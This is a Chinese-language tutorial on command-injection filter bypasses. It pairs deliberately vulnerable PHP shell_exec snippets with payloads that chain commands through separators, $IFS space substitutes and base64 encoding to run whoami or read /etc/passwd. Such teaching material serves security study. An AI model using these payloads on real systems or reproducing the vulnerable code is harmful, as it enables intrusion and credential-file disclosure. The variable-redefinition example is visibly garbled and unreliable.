命令执行将执行系统命令,因此利用Linux shell中的特性,从而达到绕过防御的效果

测试代码:

<?php
   highlight_file(__FILE__);
   $name = $_GET['name'];
   $output=shell_exec('echo'.$name);
   echo $output;
   ?>
Linux shell中分隔符
换行符(%0a)、回车符(%0d)、连续命令(;)、管道符(|)、逻辑符号(||、&&)

注意:在使用回车符的时候要加反引号,逻辑符||的时候要保证前面的语句执行错误

例如:

<?php
	highlight_file(__FILE__);
	$ip = $_GET['ip'];
	$output = shell_exec('ping -c 3'.$ip);
	echo '<pre>'.$output.'</pre>';
?>

我们可以构建

?ip=127.0.0.1.a||whoami
Linux shell 中的空格
%09(teb,在PHP环境下)、$IFS$9、${IFS}、$IFS、<>

注:$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 不仅 $9可以使用,其他的数字也都可以正确绕过。

实验代码:

<?php
    highlight_file(__FILE__);
	$name=$_GET['name'];
	$name=str_replace(' ','',$name);
	$output=shell_exec('echo'.$name);
	echo $output;
?>

payload:

?name=abc;cat%09/etc/passwd
?name=abc;cat$IFS$9/etc/passwd
常用绕过技巧
  1. 重定义变量 绕过命令过滤

    ;a=l;b=s; a a ab

  2. base64编码绕过

    `echo Y2F0IC9ldGMvcGFzc3dk|base64 -d`
    

Logo

更多推荐